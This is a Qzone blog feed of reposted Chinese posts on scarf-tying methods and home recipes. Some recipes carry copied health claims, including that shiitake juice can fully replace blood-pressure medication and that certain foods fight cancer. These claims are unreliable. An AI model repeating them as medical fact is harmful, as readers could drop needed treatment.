<![CDATA[*调皮*]]> http://77462229.qzone.qq.com Sat, 28 Nov 2009 01:42:18 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Fri, 13 Nov 2009 11:58:59 GMT <![CDATA[[转]围巾漂不漂亮看你怎么打 围巾的N种打法]]> http://77462229.qzone.qq.com/blog/1258113539




打法一 套舌结

step 1：将围巾绕在脖子上，右边的那头在上。
step 2：将右端从中间的空隙中穿过
step 3：将这段再从空隙中穿回，留一部分重叠。

特别提醒：
如果围巾长的话，就把那条“舌头”拖长一些。
这中打法比较适合活泼可爱的人哦




打法二 轻盈结

step 1：把围巾在脖子上绕一圈
step 2：将左右两段围巾交叉打结

特别提醒：
这是最基本的打法，很简单吧~
特别适合早晨匆匆忙忙地去上学前打




打法三 法国结


step 1：把围巾绕在脖子上打一个结，打结处要留一点空隙
step 2：把右边那段围巾绕过左边那段，再从空隙中穿过
step 3：把围巾从空隙中抽出来

特别提醒：
这种结给人重重的感觉，适合高高大大的男生





打法四 不对称结


step 1：把围巾交叉绕在脖子上，左边在上，然后将右边那段沿箭头方向穿过空隙
step 2：把围巾从空隙中抽出来

特别提醒：
这种结给人以反叛不羁的感觉，如果你觉得够cool的话，这种打法可以试试




打法五 平衡结


step 1：把围巾绕在脖子上，前后交叉打个结
step 2：将前面那段围巾从脖子后面绕过去
step 3：把从后面绕过来的围巾沿箭头方向穿过空隙

特别提醒：
这种打法男生女生都适合哦



打法六 领带结


step 1：把围巾绕在脖子上，右边在上，把后边那段围巾沿箭头方向在左边那段上绕一圈
step 2：绕好后，再将围巾从空隙中穿出
step 3：把围巾从空隙中抽出来

特别提醒：
打法和打领带差不多，不过打出来的结会显得有写臃肿，用薄一点的丝巾，效果会比较好





打法七 小蝴蝶结


step 1：把围巾在脖子上绕一圈，交叉打一个结
step 2：把打好的结调整到前后方向，然后再打一个结

特别提醒：
这个结的打法也很容易，感觉很很大方，又不像大蝴蝶结那么女性化，很适合爱漂亮的女生哦




打法八 大蝴蝶结


step 1：把围巾绕在脖子上，左右打个结，左边在上，右边在下
step 2：把右边的那段围巾对折重叠
step 3：把重叠的围巾放在左边那段下面，把左边的围巾沿箭头方向绕在另一段上
step 4：把结抽紧就可以了

特别提醒：
这种打法也可以用在丝巾上，可以使女孩子看上去典雅又大方

打法九 丝巾的打法





打法十 双层十字结的打法




打法十一 围巾配针织衫的打法





打法十三 围巾配各种不同领型的打法





打法十四 围巾配大衣的打法





打法十五 围巾当披肩的打法





打法十五 围巾8字结的打法




]]> http://77462229.qzone.qq.com/blog/1258113539#comment 135266313 Fri, 13 Nov 2009 11:58:59 GMT http://77462229.qzone.qq.com/blog/1258113539 <![CDATA[美食3]]> http://77462229.qzone.qq.com/blog/1258112410 营养早餐--水果牛奶麦片粥(2007-03-30 17:04:21)
分类：面饭粥类



新的一天,新的开始,从容不迫的从冰箱里拿出昨晚就已准备好的麦片粥,好好享受清晨的营养早餐吧!
(网摘)麦片的一种很重要的营养物质，是可溶性[url=ttp://www.1kooo.com/e/search/result/?searchid=5731]膳食[/url]纤维，这种纤维主要存在于燕麦麸皮中，加工过程中会有不同程度的损失。选择麦片时要注意，每个小包装或100克的总能量、碳水化合物、可溶性[url=ttp://www.1kooo.com/e/search/result/?searchid=5731]膳食[/url]纤维以及蛋白质的含量。总能量最好不要超过350千卡，碳水化合物含量不高于60%，可溶性[url=ttp://www.1kooo.com/e/search/result/?searchid=5731]膳食[/url]纤维不低于8克，蛋白质含量则应在10%左右。这样的麦片营养损失小，营养也更均衡。 　　食用麦片的一个关键就是避免长时间高温煮，以防止维生素被破坏。麦片煮的时间越长，其营养损失就越大。
　　正确食用麦片的方法：生麦片需要煮20～30分钟；熟麦片则需要5分钟；熟麦片与牛奶一起煮只需要3分钟，中间最好搅拌一次。(

原料:麦片、葡萄干、牛奶、水果（根据自己口味决定）
做法：1、熟麦片与牛奶一起煮只3分钟，中间搅拌一次

2、煮好之后，加入切好的水果丁即可！这道早餐可以在晚上做好，冰在冰箱里，第二天直接食用，可以节约更多时间！
香浓可口的--玉米浓汤(2007-02-28 13:06:12)
分类：靓汤养人


原料：玉米，鲜奶油（一般大超市卖奶制品的冰柜附近卖）

配料：鸡汤（也可以用水和高汤精之类的兑）
做法：
1，速冻玉米500G解冻就可以了。留下少量玉米粒，其余全部放入搅拌杯。

2，把100ML鲜奶油也倒入搅拌杯。一起搅打均匀。
3，把玉米奶油汁倒入煮锅中，倒入鸡汤。汤煮开后，倒入少许玉米粒装饰，加盐调味就可以了

甜蜜情人节---奶油草莓土司塔(2007-02-14 08:49:17)
分类：可口小点


今天就是一年中最最甜蜜的日子了，，小辞在这里祝所有天下有情人终成眷属，相爱白头！

今天也给大家介绍一款简单又应景的甜点“奶油草莓土司塔”！ 用土司代替蛋糕是为了让更多家里没烤箱，或者有烤箱但时间不多的JMS为自己的心上人也能做一款甜蜜又漂亮的奶油水果蛋糕！

主料：土司三片（一定要选比较厚的那种，薄薄的没有口感），淡奶油，草莓
配料：绵白糖


做法：1、土司切去四边，留中间白色海绵部分
2、淡奶油隔冰水打发，，在打发过程中分三次加入绵白糖，量可根据自己口味调节


3、取一片土司，上面抹上打发的奶油，均匀的铺上一层草莓，再放第二片，再抹上打发的奶油，均匀的铺上一层草莓，最后盖上第三片土司，抹奶油（量比第一，二片稍多点），，抹平后就可以随心所欲的用草莓，饼干或巧克力装饰这个小蛋糕啦！


哈哈，是不是很简单啊！
甜蜜情人节之---草莓巧克力浓心(2007-02-12 09:24:14)
分类：可口小点




每到情人节来临时,我总会想:这样一个美好的节日怎么偏偏被选在寒冷的冬天进行呢?如果是春天,万物复苏的时节,刚卸下隆冬厚重的防寒服,穿上能够尽现女孩曼妙身段的春装,淡粉的裙子,漂亮的高跟鞋,把自己最美的一面展示在他面前,那多好啊!~
可是偏偏这个甜蜜的日子被选在寒冷的冬天...混身上下裹着厚实的衣物,脖子系着宽大的围巾,把樱桃小嘴给严实的封在里面,只能露出一双眼睛滴溜溜地转着...
记得去年吃完情人节晚餐,挽着小罗的胳膊走在回家的路上,寒风中一对对温暖甜蜜的背影都紧紧的依偎在一起,女孩的手都被体贴的男友细心的握在了自己手掌里,看着男孩子把女孩子紧紧的搂着,一下子明白了这个节日选在这个季节的妙处...
你们觉得呢?
好了,废话少说,来看看这个简单的不值一提的草莓巧克力浓心的做法,还在为送什么礼物而发愁的JMS不妨试试这款,简单超值又可以哄他的甜点吧!

主料:草莓,巧克力
配料:椰蓉,抹茶粉(若无这两个配料也可不用)

做法:1.草莓用淡盐水浸泡十分钟,十分钟后冲洗干净



2,平时喝可乐的罐子,剪掉上面部分,留下面部分,,巧克力用刀刨碎,装入容器中,再将此容器放入开水里,用筷子迅速搅拌至溶化.放半勺热水于里面搅匀

简单易做----葡萄酥(2006-12-17 20:47:15)
分类：可口小点




来看看这款可以说是烘培初级水平的小点心的配料和做法：

葡萄干 ... 100克
奶油 ... 100克
糖粉 ... 100克
蛋 ... 1个
低筋面粉 ... 240克
蛋黃 ... 1个

作法步驟：
烤箱先預熱到 200℃。
放在烤箱上层，烤約 20 分钟。
葡萄干泡水約 10 分钟，沥干待用。
奶油加糖粉打松，再加蛋搅拌均勻。
加葡萄干拌勻，再把面粉篩入，轻轻拌勻成面团。
把面团分成 36份，做成圆形，排在烤盘上，刷上蛋黃即可烤焙。








3,手指拿着草莓头部,将其身体在巧克力溶液里打个滚.再快速在椰蓉或抹茶粉里打个滚(没有上以两种配料的可以直接将其晾凉即食).晾凉即可食用!


脆豆皮糯米包(2006-12-04 19:51:31)
分类：荤菜系列


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那天的糯米饭剩下一小碗，扔了实在可惜，翻翻库存发现了一包干豆皮，于是做了这道脆豆皮糯米包

主料：糯米饭（事先煮好，调入盐拌匀），豆皮一张
做法：1、豆皮用开水泡软
2、用厨房纸吸干豆皮水分后将糯米饭放在上面
3、包成长方形，入煎锅，倒少量油煎至表面金黄即可！


诱人的---海带猪骨汤(2006-11-02 21:49:30)
分类：靓汤养人


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主料：猪骨 海带
做法：1、猪骨对半剖开，海带用冷水泡发，多冲洗几次
2、猪骨放冷水里烧开后打去血沫，将水倒掉，换干净的水，水里放姜一块、花椒几粒，料酒一汤勺，
3、大火烧开后转小火慢慢炖，一小时后将海带放入，再滴几滴醋，便于将骨头里的钙质释放出来
4、再小火炖2小时，即可！出锅后撒上葱花，一碗香浓的骨汤就做好了！！

香菜根儿拌萝卜皮儿(2006-10-31 19:13:21)
分类：素食主义



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主料：（做萝卜牛肉汤剩下的）萝卜皮、香菜根
配料：酱油、芝麻油、鸡粉
做法：超级简单！
1、萝卜皮切条，香菜根切段
2、碗内放四勺酱油、四勺芝麻油、一勺鸡粉，拌均
3、淋在萝卜皮和香菜根上，略腌五分钟，即可！
甜品一款---蜜汁粟泥(2006-10-25 20:52:17)
分类：可口小点


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主料：粟子半斤、
配料：花生碎、蜜饯碎、蜂蜜
做法：1、粟子煮熟，煮得越久越好，便于打成泥
2、煮好的粟子与100ML的温水一起倒入绞拌机打成泥
3、拿一小碗里铺上蜜饯碎及花生碎，再将绞成泥的粟泥倒入压实
4、扣在盘子里，淋上蜂蜜即可！



简朴清淡---香葱虾皮豆渣饼(2006-10-10 18:27:27)
分类：可口小点

早上做了豆浆，剩下N多豆渣，，倒了怪可惜的，，于是就有了以下的。。。。



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主料：豆渣（就是做豆浆剩下的渣），面粉，香葱，虾皮
调料：盐，鸡粉
做法：1、约100G左右的豆渣加上150G左右的面粉，加清水和成面糊
2、放一半勺盐、半勺鸡精，香葱碎，虾皮和匀
3、平底煎锅倒入少量油（不喜欢太油的可以不加油，但锅一定要是不粘锅），将面糊倒入锅内，尽量用勺将面糊调整成圆形，小火慢煎，呆两面呈黄色时，即可出锅了！





美味营养又瘦身的---木耳洋葱拌(2006-10-09 18:41)
分类：素食主义



主材：洋葱、木耳，香菜，红椒
调料：盐、蒜，鸡粉、白醋、白糖、芝麻油、花椒油、芝麻、花生碎（没有可不加）
做法：1、洋葱切丝，香菜切段，红椒切碎，木耳用沸水泡发、蒜捣成泥
2、碗内放三勺白醋、二勺白糖、一勺盐、半勺鸡粉、两个蒜泥、四勺芝麻油、一勺花椒油
3、搅匀后淋在菜上，拌匀，最后撒上芝麻及花生碎即可
机器猫爱吃的铜锣烧（无烤箱版）(2006-09-21 19:27:38)
分类：可口小点


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配料： 2个鸡蛋、
100g牛奶、
100g蜂蜜或白糖、
20g黄油、
1小匙泡打粉；
120g面粉
红豆沙
做法： 1、各种液体及黄油搅打均匀
2、筛入面粉及泡打粉拌成面糊状
3、热锅后改小火，倒入面糊（锅里可以刷薄薄一层油也可以不刷）
4、大概1分钟左右再翻面煎另一面，另一面30秒即可
5、拿一片抹上红豆沙，另一片重合盖上即可！


枸杞冰糖银耳羹(2006-09-19 20:42)
分类：靓汤养人





配料：银耳10克。
冰糖100克（不喜欢吃甜的可酌量少放），
枸杞适量

做法：1、银耳先冲洗几遍，然后放入碗内加冷开水浸泡（没过银耳即可）。浸泡1小时左右，此时银耳发胀，
2、然后挑去杂物。接着把银耳和适量冰糖放入碗内，再加入适量冷开水，一起炖2到3个小时即可。
3、最后十分钟放入枸杞　　功能：有滋阴润肺，生津止渴的功效。可以治疗秋冬时节的燥咳，还可以作为体质虚弱者的滋补之品。
茄汁里脊




配料：猪里脊，鸡蛋一个，姜一小块，蒜一个，料酒两勺，淀粉，白糖，白醋，蕃茄酱一汤勺，盐，味精



做法：

1、将肉排松后切成约三厘米长，一厘米见方的条，在肉条里放料酒，盐，味精拌均码味，
2、用鸡蛋和淀粉做成淀粉糊，稀稠适度，太稀挂不上糊，太稠也不好，将肉条倒进糊内拌均




3、锅内油烧至六成热，将肉条下锅炸至微黄时捞出，锅内油回升到七成热时，再将肉条放入炸至金黄色捞出。



4、锅内油烧倒出一部分，留一小部分烧至六成热下姜末，蒜末炒出香味，再放入蕃茄酱，加一小杯清水，



5、烧沸后，加盐，味精，一勺白醋，两勺白糖，及水淀粉
6、收汁后淋在肉条上即可！
老四川---回锅肉(2006-08-27 18:29:38)
分类：荤菜系列
先上图片！



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配料：猪后腿肉或五花肉（俺用的是后腿肉，瘦肉相对多点点），
青蒜苗，
甜面酱，
郫县豆瓣瓣，
白糖，
盐，
鸡精，
姜，
葱，
料洒


做法：

将肉整块放入冷水时，加入拍破的姜，葱及料酒，煮20分钟，挥出凉冷后切片。




锅内油烧热，放肉片爆炒，




呈灯窝状时加入一勺甜面酱，两勺豆瓣炒香，加一勺糖，半勺鸡精，一勺盐炒匀，



此时再放入蒜苗炒均即可出锅！
]]> http://77462229.qzone.qq.com/blog/1258112410#comment 134218241 Fri, 13 Nov 2009 11:40:10 GMT http://77462229.qzone.qq.com/blog/1258112410 <![CDATA[美食2]]> http://77462229.qzone.qq.com/blog/1258110080 冬季靓汤---田园蔬菜龙骨汤(2007-11-20 09:49:56)
标签：美食/厨艺 分类：靓汤养人


最近在看一个专门介绍日本美食的节目，发现日本人煲的汤除了昆布那种清汤外，其他的汤只要与肉沾边的，他们都喜欢加很多蔬菜进去，说是为了增加汤的甜味口感，小辞按捺不住了，一定要试试这种做法，看看日本人的这种汤究竟如何~~

今天用的的蔬菜比较多，其中胡萝卜是正当季的，营养价值也不用我多说，直接看介绍吧：

胡萝卜是一种质脆味美、营养丰富的家常蔬菜。中医认为它可以补中气、健胃消食、壮元阳、安五脏，治疗消化不良、久痢、咳嗽、夜盲症等有较好疗效，故被誉为“东方小人参”。用油炒熟后吃，在人体内可转化为维生素A，提高机体免疫力，间接消灭癌细胞。美国科学家的最新研究又证实：每天吃两根胡萝卜，可使血中胆固醇降低10％～20％；每天吃三根胡萝卜，有助于预防心脏疾病和肿瘤。
胡萝卜中的主要营养素是β-胡萝卜素，它存在于胡萝卜的细胞壁中，而细胞壁是由纤维素构成，人体无法直接消化，唯有通过切碎、煮熟及咀嚼等方式，使其细胞壁破碎，β-胡萝卜素才能释放出来，为人体真正消化吸收利用。完好保持β-胡萝卜素等营养成分，与我们的食用与烹调方法有着极大的关系。
胡萝卜科学营养的吃法
人们对胡萝卜的习惯吃法是生吃、切成丝和粉丝等凉拌后吃食，或者是切成片同其他蔬菜炒食。殊不知，这都不符合营养原则。
科学合理的食用方法是：胡萝卜应烹煮后食用。要保持其营养的最佳烹调方法有两点，一是将胡萝卜切成块状，加入调味品后，用足量的油炒；二是将胡萝卜切成块状，加入调味品后，与猪肉、牛肉、羊肉等一起用压力锅炖15～20分钟。
实验表明，如果烹调时采用压力锅炖，因为减少了胡萝卜与空气的接触，β-胡萝卜素的保存率可高达97％。实验还表明，β-胡萝卜素在体内的消化吸收率与烹调时所用的油脂量密切相关，用足量食油烹调后熟食，β-胡萝卜素在体内的消化吸收率可达90％。因为，β-胡萝卜素是一种脂溶性物质，它只溶于油，不溶于水。
阿肯色州大学的研究最近指出，煮熟的糊状胡萝卜汤不会损失任何营养成分，并且比新鲜胡萝卜具有更多的抗氧化剂。

做法：
材料：猪龙骨一根 胡萝卜一根 西芹两根（不是两棵哈！）蘑菇十朵 玉米一根
配料：姜八片 葱三段


步骤；1、龙骨洗净后入冷水锅内加热沸腾后将水全部倒出不要，龙骨洗净备用

2、放入沙锅内，一次性加足够量的冷水，放姜片，葱段一起大火烧开

3、烧开后转小火，撇去浮沫


4、一小时后加入胡萝卜继续煲


5、再过一小时后依次加入蘑菇、玉米，西芹，继续煲二十分钟左右即可！吃的时候在碗内放盐！






简单快速做好菜---炝炒双丝(2007-11-15 10:19:18)
分类：素食主义




大卷心菜营养相当丰富，含有大量的维生素C，纤维素以及碳水化合物及各种矿物质，除此以外卷心菜内还含有维生素u，维生素u是抗溃疡因子，并具有分解亚硝酸胺的作用，下面简单介绍一下卷心菜的药用功效。 1)中医认为经常食用卷心菜能性甘平，无毒，有补髓，利关节，壮筋骨，利五脏，调六腑，清热止痛等功效。
2)卷心菜新鲜汁液能治疗胃和十二指溃疡，有止痛及促进愈合作用。
3)经常吃卷心菜对皮肤美容也有一定的功效，能防止皮肤色素沉淀，减少青年人雀斑，延缓老年斑的出现。
4)世界卫生组织推荐的最佳食物中，蔬菜首推为红薯（山芋），山芋含丰富维生素，又是抗癌能手，其次是芦笋、卷心菜、花椰菜、芹菜、茄子、胡萝卜等，卷心菜排名第三。

做法：
主料：卷心菜半棵（约500克） 紫甘蓝半棵（约250克）
配料：干辣椒十粒 花椒十粒 盐一茶匙（约5克） 糖3/1茶匙（约2克）鸡精一茶匙（约5克）


步骤： 1、将卷心菜和紫甘蓝洗净后切成细丝，干辣椒用剪刀剪成两半



2、锅内油热至7成热，放入干辣椒和花椒爆出香味



3、放入双丝翻炒均匀后，快速放入糖，盐，鸡精，炒匀后即可起锅！


简单快速做好菜---台式卤肠沙拉(2007-11-09 09:19:09)
标签：我记录 生活变迁 美食/厨艺 分类：荤菜系列

（此图是未浇沙拉酱之前拍摄）

下了班已经够累了，还得为LG准备一顿可口饭菜，从菜市（超市）买菜回来，再加上洗切煎炒，少说也得花一个小时吧！！！现在的年轻白领MM也够累的了，何不做一款既简单，又富含多种营养的沙拉菜式呢，既简单又美味，还营养！！

沙拉菜里很多都有紫甘蓝这道蔬菜，既起了点缀色彩的作用，其自身也富含多种营养素，看看它的营养介绍吧：

紫甘蓝又称红甘蓝、赤甘蓝，是结球甘蓝中的一个类型，由于它的外叶和叶球都呈紫红色，故名。甘蓝起源于欧洲地中海沿岸至北海沿岸，已有数千年的栽培历史。而我国最早的记述是《植物名图考》(1827年)，当时有称"回子白菜"者。估计其传入途径为"丝绸之路"，以后再从西北至华北，时间约在19世纪之前。至于紫甘蓝之传入我国的时间更短，估计不到100年。紫甘蓝营养丰富，据测定，每100克鲜菜含胡萝卜素0.11毫克、维生素B1为0.64毫克、维生素B2为0.04毫克、维生素C39毫克、尼克酸0.3毫克、糖类4％、蛋白质1.3％、脂肪0.3％、粗纤维0.9％、钙100毫克、磷56毫克、铁1.9毫克。紫甘蓝食用方法既可生食，也可炒食。但为了保持营养，以生食为好。如炒食的，要急火重油，煽炒后迅速起锅。

　　紫甘蓝：含有丰富的维生素C、抗氧化物质，能保健美容，且适合减肥者食用。

　　紫色有消毒及净化的作用，有助于调节身体的新陈代谢。呈这一色泽的浆果如葡萄、黑刺莓等含有花青苦色素，这种色素的某些类型有改善血液循环、保护心脏的作用。正因为紫色集合了一冷一热的红色与蓝色，所以紫色能够保持身心平衡。另外，紫色食品有舒缓镇静的作用，能让人冷静。

　　经常食用紫色食品可以补脑，降低脑压，使注意力集中，增强创作力。含碘的紫色食物，如紫叶甘蓝、紫菜及一些海带、海苔，对甲状腺大有益处，强化脑力，孩子宜常吃。而对于想减肥的人来说，多吃紫色食物，少吃红色食物绝对是明智之举，秘密就在于：紫色食品能适当抑制你的食欲。紫色食物还能增强血管的抵抗能力。高血压、咯血、皮肤紫斑病患者，多吃紫色食品对治疗和缓解症状大有益处。

做法：
原料：紫甘蓝4/1棵、生菜叶4片、构杞10来粒、佛手瓜4/1个，台式卤香肠一个（吃不完的部分可以留到下一顿吃，或者入锅炒炒又是另一种风味了）

调料：盐2/1茶匙（约3克）白胡椒3/1茶匙（约2克） 橄榄油一茶匙（约五克）

做法：1、所有蔬菜洗净，紫甘蓝用手掰成块状，生菜撕成块状，枸杞提前用水浸泡10分钟， 香肠切片

2、将所有调料兑在一起调制成沙拉酱，吃的时候淋在菜上就行了！
搓麻将－－香煎芋头饼(2007-10-30 09:45:22)
标签：美食/厨艺 分类：可口小点


成都这两天突然降温了，听电视里讲足足降了有八度，整天阴沉沉的刮着夹雨点的大风，朋友提议这周末骑自行车去郊区吃羊肉火锅，倒是好提议，就怕到时候又临时放我们鸽子。

上周末和几个久未见面的姐妹聚会，出发之前带足了银子，做好了充分血拼的思想准备，没想到一碰面就被招呼到茶楼搓麻将。我这个臭水平肯定拿不上台面啊，坚决反对，然而反对无效~~~

姐妹问：“打多大？”
我（弱弱的回了句）：“五角嘛”
姐妹瞄我一眼：“五角有啥打头嘛，浪费时间，最少一元，最多封顶嘛！”
还好，另外两位也是不常打麻将的主儿，讨价还价一番后以五角一盘成交！　要下雨，八元封顶！

几个小时下来，还好，只输了五元～心中暗自怯喜比心理底线好多了。回到家一放松才觉后脖子隐隐作痛，小罗说肯定是刚才打牌的时候太紧张了，一直坐得笔直姿势都没换过　　　


今天做一道小点心，芋头的营养上一篇“油辣子香芋蒸排骨”已经介绍过，直接看做法吧

主料：大芋头５００克
调料：白砂糖２茶匙（约１０克），淀粉（或面粉，或糯米粉均可）５０克
做法：１、芋头去皮，切片放碗里（处理芋头的时候最好戴烹饪手套，因为它的粘液很滑，而且还很刺激手，手会痒痒的，如果觉得痒可以上火上烤一会儿就没事了）



　　　２、入蒸锅大火蒸３０分钟至熟



　　　３、蒸好后将芋头放菜板上，用刀背压成泥，加入面粉及白砂糖和匀，用手搓成大小差不多的丸子形（手上抹点油就不粘手了）


　　　４、用手将丸子压扁，锅内油烧到五成热时，将饼放入，中小火，一面煎约１分钟，翻面煎另一面


　　　　５、煎好后放在厨房红里，吸干油后即可食用！

蒜泥蒸虾(2007-10-18 17:11:32) 分类：荤菜系列


虾含有20%的蛋白质，是蛋白质含量很高的食品之一，是鱼、蛋、奶的几倍至几十倍。 　　虾和鱼肉相比，所含的人体必需氨基酸中的缬氨酸并不高，但却是营养均衡的蛋白质来源。另外，虾类含有甘氨酸，这种氨基酸的含量越高，虾的甜味就越高。
　　虾和鱼肉、畜肉相比脂肪含量很少，并且几乎不含作为能量来源的动物性糖质。
　　虾中的胆固醇含量较高，但同时含有丰富的能降低人体血清胆固醇的牛磺酸；虾含有丰富的钾、碘、镁、磷等微量元素和维生素A等成分。
　　对疾病和健康的影响
　　虾中含的牛磺酸能够降低人体血压和胆固醇，所以在预防代谢综合征方面有一定疗效。
　　虾中含有丰富的微量元素锌，它可改善人因缺锌所引起的味觉障碍、生长障碍、皮肤不适以及精子畸形等病症。
　　虾中含有的镁对心脏活动具有重要的调节作用，能很好地保护心血管系统。它可降低血清胆固醇值，防止动脉硬化，同时还能扩张冠状动脉，有利于预防高血压及心肌梗塞。
　　虾的通乳作用较强，并且富含磷、钙，对小儿、孕妇尤有补益的功效。
　　虾皮中含有丰富的钙，还含有一种被称为甲壳质的动物性纤维，它是多糖的一种，不能被人体消化吸收，经过化学处理后将其溶解在水中可制成壳聚糖健康食品。
　　饮食宜忌
　　对海鲜过敏的及患有过敏性疾病(过敏性鼻炎、过敏性皮炎、过敏性紫癜等)的人应慎食。
　　虾背上的虾线，是虾未排泄完的废物，若吃到嘴里有泥腥味，影响食欲，所以应去掉。
　　腐坏变质的虾不可食。色发红、身软、掉头的虾不新鲜，尽量不吃。
　　虾忌与某些水果同吃。虾含有比较丰富的蛋白质和钙等营养物质，如果把它们与含有鞣酸的水果，如葡萄、石榴、山楂、柿子等同食，不仅会降低蛋白质的营养价值，而且鞣酸和钙酸结合形成鞣酸钙后会刺激肠胃，引起人体不适，出现呕吐、头晕、恶心和腹痛腹泻等症状。海鲜与这些水果同吃，至少应间隔2小时。
　　吃海虾后，1小时内不要食用冷饮、西瓜等食品。



原料；虾300G
调料：蒜2头姜一小块 生抽1汤匙（也可用1茶匙盐代替）香油3茶匙，黄酒1茶匙香菜叶少许
做法：1、虾洗净后，挑去虾肠，剪掉枪角，在碗内摆放均匀，蒜拍破与姜一起剁成蓉


2、在另一碗内将所有调料混合均匀后，用勺子淋在每只虾身上，蒸锅内水烧开，将装好虾的碗放入，中火蒸10分钟，取出后撒上香菜叶即可！



真的非常简单，特别适合上班族们，偶尔也自己下一回厨，犒劳犒劳自己的胃吧！
色彩斑斓---香菇虾仁什锦(2007-05-28 09:54:05)
分类：荤菜系列
[url=file:///D:/%C3%88%C3%BD%C3%8D%C3%9E/%C3%93%C3%A9%C3%80%C3%96/%C3%8D%C2%BC%C3%86%C2%AC/IMG_9584.jpg][/url]

香菇又称香菌、冬菇。由于它味道鲜美，香气沁人，营养丰富，不但位列草菇、平菇之上，而且素有“植物皇后”之誉，为“山珍”之一。香菇具有高蛋白、低脂肪、多糖、多种氨基酸和多种维生素的营养特点。由于香菇中含有一般食品中罕见的伞菌氨酸、口蘑酸等，故味道特别鲜美。
≮功效≯
香菇含有维生素C，能起到降低胆固醇、降血压的作用。香菇汁完全可以代替降压剂，而且没有副作用。
香菇中有一种一般蔬菜缺乏的麦淄醇，它可转化为维生素D，促进体内钙的吸收，并可增强人体抵抗疾病的能力。
正常人多吃香菇能起到防癌作用，癌症患者多吃香菇能抑制肿瘤细胞的生长。
香菇食疗对腹壁脂肪较厚的患者，有一定的减肥效果。
香菇性味甘、平、凉、有补肝肾、健脾胃、益智安神、美容颜之功效。
≮适用人群≯
适合所有人食用。
≮适用量≯
每欠4"8朵即可
≮特别提示≯
发好的香菇要放在冰箱里冷藏才不会损失营养。
泡发香菇的水不要丢弃，很多营养物质都溶在水中。
≮健康红绿灯≯
长得特别大的鲜香菇不要吃，因为它们多是用激素催肥的，大量食用可对机体造成不良影响。 (网摘）

做法：
材料： 虾仁250克 鲜香菇6朵 玉米200克胡萝卜1小根 新豌豆200克葱末1茶匙（5克）姜末1茶匙（5）蒜末1茶匙（5克）
调料：盐1茶匙（5克）料酒1汤匙（15ml）淀粉1汤匙（15克）酱油1汤匙（15ml）鸡粉1/4茶匙（1克）糖1茶匙（5克）香油1/4茶匙（1ml）

步骤：

1）虾仁洗净，用料酒和淀粉抓拌均匀，腌制10分钟。

2）胡萝卜去皮切成丁。鲜豌豆，玉米洗净沥干水分。鲜香菇用淡盐水浸泡10分钟后洗净切丁。

3）锅放在火上大火加热20秒钟，锅热后倒入油，待油9成热时，倒入虾仁，用铲子快速翻炒至变色后捞出。

4）锅中再倒入油烧至7成热，放入葱姜蒜末煸炒出香味后，倒入胡萝卜丁，玉米，豌豆和香菇，翻炒3分钟后，调入酱油，盐和糖炒匀，倒入虾仁，再翻炒1分钟关火。调入鸡粉，淋入香油即可。
甜蜜的事---草莓奶昔(2007-05-21 09:11:23)
分类：靓汤养人


草莓又叫红莓、地莓等，台湾等地区称其为士多啤梨。它的外观呈心形，鲜美红嫩，果肉多汁，酸甜可口，香味浓郁，不仅有色彩，而且还有一般水果所没有的宜人的芳香，是水果难得的色、香、味俱佳者，因此常被人们誉为“果中皇后”。
≮功效≯草莓的招牌营养素容易被人体消化、吸收，多吃也不会受凉或上火，是老少皆宜的健康食品。
草莓中所含的胡萝卜素是合成维生素A的重要物质，具有明止养肝作用。
它对胃肠道和贫血均有一定的滋补调理作用。
草莓除可以预防坏血病外，对防治动脉硬化、冠心病也有较好的功效。
草莓是鞣酸含量丰富的植物，在体内可吸附和阻止致癌化学物质的吸收，具有防癌作用。
美国纽约把草莓列入十大美容食品。据研究，女性常吃草莓，对皮肤、头发均有保健作用。草莓在德国被誉为“神奇之果”。草莓还可以减肥，因它它含有一种叫天冬氨酸的物质，可以自然而平缓地除去体内的“矿渣”。
祖国医学认为，草莓性凉味酸，具有润肺生津、清热凉血、健脾解酒等功效。
≮适用人群≯老少皆宜。
≮适用量≯每次10个。
≮特别提示≯草莓表面粗糙，不易洗净。用淡盐水或高锰酸钾水浸泡10分钟既能杀菌又较易清洗。
≮健康红绿灯≯草莓中含有的草酸钙较多，尿路结石病人不宜吃得过多。(网摘）

做法：
材料：草莓15颗 草莓冰淇淋150G 牛奶200ML


步骤：1、草莓去蒂，用淡盐水浸泡十分钟，洗净沥干水分备用
2、将处理好的草莓，冰淇淋和牛奶一同放入搅拌机，高速打40秒即可！

午后来杯--柠檬红茶(2007-04-18 09:19:20)
分类：靓汤养人


红茶是全发酵的茶叶，在发酵的过程中，茶叶的茶鞣质经氧化而生成鞣质红，不仅使茶叶色泽乌黑，水色叶底红亮，并且使茶叶的香气和滋味也发生了变化，具有水果香气和醇厚滋味，与绿茶截然不同。

营养分析
茶叶是富含维生素K的饮品，而且还含维生素C等成分，具有抗血小板凝集、促进膳食纤维溶解、降血压、降血脂的作用，对防治心血管疾病十分有利。
茶中含有氟、茶多酚等成分，饮茶能防龋固齿。
茶中维生素A、维生素E含量丰富，并含有多种抗癌防衰的微量元素。它是天然的健美饮料，有助于保持皮肤光洁白嫩，减少皱纹，还能抗氧化、防辐射、提高免疫力、预防肿瘤。
茶叶还具有提神醒脑、振奋精神、增强免疫、消除疲劳等作用。
红茶有暖胃祛寒的作用
相关人群
一般人均可饮用
1. 适宜高血压、高血脂、冠心病、/动脉硬化、糖尿病、油腻食品食用过多、醉酒者。
2. 不适宜发热、肾功能不良、心血管疾病、习惯性便秘、消化道溃疡、神经衰弱、失眠、孕妇、哺乳期妇女、儿童。
食物相克
不要用茶水送服药物；服药前后1小时内不要饮茶。人参、西洋参不宜和茶一起食用。忌饮浓茶解酒；饭前不宜饮茶；饭后忌立即喝茶；少女忌喝浓茶。
制作指导
冲泡时间不宜过长，不宜用保温杯泡茶。
饮茶不宜过浓，隔夜茶勿饮。(网摘）


做法：
材料：柠檬两个 红茶二包
步骤；1、先腌制柠檬，把柠檬洗净切片，在碗内先放一层白糖

2、再将柠檬一片片摆放在糖上，再放一层白糖再放柠檬，最后用保鲜膜封好放冰箱冷藏二天二夜


3、沸用冲泡两包红茶，趁热放入几片柠檬，放置一会就OK啦！

春天---虾米蚕豆泥(2007-04-20 09:51:55)
分类：素食主义


【食物简介】蚕豆，又名胡豆、夏豆、罗汉豆。它既可以炒菜、凉拌、又可以制成各种小食品，是一种大众食物。蚕豆中含有大量钙、钾、镁、维生素C等，并且氨基酸种类较为齐全。

